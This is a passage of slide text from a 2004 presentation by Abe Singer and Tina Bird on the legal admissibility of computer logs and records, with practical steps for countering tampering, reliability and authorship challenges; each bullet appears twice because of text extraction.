209. Copyright 2004 Abe Singer and Tina Bird 209 Computer Data Categories cont. Human generated, computer stored – must prove that human statements are trustworthy, and that the records can be reliably associated with a particular individualHuman generated, computer stored – must prove that human statements are trustworthy, and that the records can be reliably associated with a particular individual Computer generated & stored – must assert that program that generated records is behaving properlyComputer generated & stored – must assert that program that generated records is behaving properly

210. Copyright 2004 Abe Singer and Tina Bird 210 Computer Data Categories cont. Both human and computer generated data – must satisfy both sets of requirementsBoth human and computer generated data – must satisfy both sets of requirements

211. Copyright 2004 Abe Singer and Tina Bird 211 Challenges to Computer Records Ease of tampering often used as a reason for discarding computer recordsEase of tampering often used as a reason for discarding computer records Case law supports notion that the mere possibility of tampering does not affect record’s authenticityCase law supports notion that the mere possibility of tampering does not affect record’s authenticity Opponent must offer substantial proof that tampering occurredOpponent must offer substantial proof that tampering occurred

212. Copyright 2004 Abe Singer and Tina Bird 212 Challenges to Computer Records cont. Unreliability of computer programs used as a reason for discarding computer recordsUnreliability of computer programs used as a reason for discarding computer records If the users of an application rely on it as part of their business processes, courts will usually consider its records to be reliable “enough”If the users of an application rely on it as part of their business processes, courts will usually consider its records to be reliable “enough”

213. Copyright 2004 Abe Singer and Tina Bird 213 Challenges to Computer Records cont. Inability to identify author of a computer record used as a reason for discarding dataInability to identify author of a computer record used as a reason for discarding data Circumstantial evidence generally used to support claims of authorshipCircumstantial evidence generally used to support claims of authorship

214. Copyright 2004 Abe Singer and Tina Bird 214 Addressing the Challenges Ease of tampering Compare local & remote versions of logs before writing to immutable storage mediaCompare local & remote versions of logs before writing to immutable storage media Encrypted & authenticated communications if your network infrastructure allowsEncrypted & authenticated communications if your network infrastructure allows

215. Copyright 2004 Abe Singer and Tina Bird 215 Addressing the Challenges cont. Unreliable applications Document your archiving & review proceduresDocument your archiving & review procedures Build log-dependent internal processes (call accounting, policy compliance, capacity planning, incident response) into day-to-day operationsBuild log-dependent internal processes (call accounting, policy compliance, capacity planning, incident response) into day-to-day operations

216. Copyright 2004 Abe Singer and Tina Bird 216 Addressing the Challenges cont. Unverified identity Strong user, machine authenticationStrong user, machine authentication Information classification scheme (yeah right)Information classification scheme (yeah right) Simplify network topology for user tracking if possibleSimplify network topology for user tracking if possible –f’r instance, if using DHCP, configure to lock IP address to MAC address on laptops